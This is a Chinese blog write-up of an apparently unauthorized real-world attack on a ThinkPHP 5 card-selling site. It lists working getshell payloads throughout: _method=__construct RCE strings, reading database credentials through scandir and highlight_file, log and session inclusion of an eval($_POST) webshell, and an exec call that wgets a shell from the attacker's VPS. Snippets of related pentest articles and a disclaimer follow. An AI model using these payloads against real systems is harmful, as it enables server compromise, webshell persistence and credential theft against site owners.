一次实战中对tp5网站getshell方式的测试

VSole2021-10-28 07:37:08

0x01 前言

之前接触tp5的站比较少,只知道利用RCE漏洞getshell的方式。在最近对一个发卡平台渗透的过程中,由于php版本限制,无法直接使用RCE的payload拿shell,于是结合该网站尽可能多的测试一下tp5+php7.1环境下的getshell方法。

0x02 正文

拿到站点后,访问首页如下

测试中,发现是thinkphp的站,报错如下

不过看不出来具体版本,不确定是否存在RCE,于是用exp打一下试试

_method=__construct&method=get&filter=call_user_func&get[]=phpinfo

发现执行成功了,disable_function禁用了挺多函数

一般php版本低于7.1的情况下,接下来直接用exp写shell就可以了

方法一

直接用下面的exp写shell

s=file_put_contents('test.php','<?php phpinfo();')&_method=__construct&method=POST&filter[]=assert

但是这个exp中使用了assert,而上面看到php版本是7.1.33,这个版本是已经没办法使用assert了,所以这里这个方法是不能用的

方法二

上面的exp没办法写shell,但是phpinfo是执行了的,那么RCE是存在的。于是想到可以通过读取文件读取数据库的账号密码,然后找到phpmyadmin,就可以通过数据库写shell。

于是首先通过phpinfo中的信息找到网站根目录,再使用scandir函数遍历目录,找到数据库配置文件

_method=__construct&filter[]=scandir&filter[]=var_dump&method=GET&get[]=路径

然后通过highlight_file函数读取文件

_method=__construct&filter[]=highlight_file&method=GET&get[]=读取的文件路径

拿到数据库信息后,找看看是否存在phpmyadmin,最终发现没有,于是这种方法也失败。

在论坛搜索tp5的getshell方法,发现不少师傅说到可以用日志包含或者session包含的方法,但是之前没接触过,不知道具体的,于是搜索尝试一下。

方法三

尝试日志包含,首先写shell进日志

_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=<?php eval($_POST['c'])?>

然后通过日志包含来getshell

失败了,这里日志包含的方法也不可用

方法四

尝试使用session包含的方法来getshell,首先通过设置session会话并传入一句话木马

_method=__construct&filter[]=think\Session::set&method=get&get[]=<?php eval($_POST['c'])?>&server[]=1

然后直接利用文件包含去包含session文件,tp5的session文件一般都是在/tmp下面,文件名为sess_sessionid(这个sessionod在Cookie里面)

_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoi&c=phpinfo();

成功执行,接下来通过蚁剑连接即可

成功getshell

www权限

方法五

上面拿到了shell,但是我还是再尝试了是否还有其他方法能getshell的。看到一篇文章,是由于disable_function中没有禁用exec,然后利用exec从vps下载shell文件。

于是我仔细看了下disable_function中禁用的函数,巧了,发现也没有禁用exec,那么试一下。

首先在vps上创建一个test.php,并用python开放一个端口


python -m SimpleHTTPServer 8888

从vps上下载文件

s=wget vps/test.php&_method=__construct&method=get&filter[]=exec

成功下载到目标机器上

0x03 最后

实战是比较好的学习方法,通过对这个战点的渗透,才知道tp5的站有挺多种方法的,也学到了之前没有使用过的session包含。本次实战不仅仅为了getshell,也是为了学习利用tp5的不同的getshell方法。

shell网站测试
本作品采用《CC 协议》,转载必须注明作者和本文链接
期间用了差不多两个周末,期间断断续续,整篇没啥奇淫技巧,大佬略过。由于当时较晚,第一周测试到此结束,主要利用API接口的未授权任意文件下载,获得敏感信息,未获取到shell,但还是向朋友炫耀了成果。
提权需要的东西有点儿多,笔记里出现的工具不建议在百度上下载。如果支持aspx,可以上传aspx,通过aspx大马,直接调用默认cmd扫描扫出了其他人的大马可以尝试用?
概述渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
蚁剑的小tip
2022-05-26 14:49:12
STATEMENT声明由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。
VSole
网络安全专家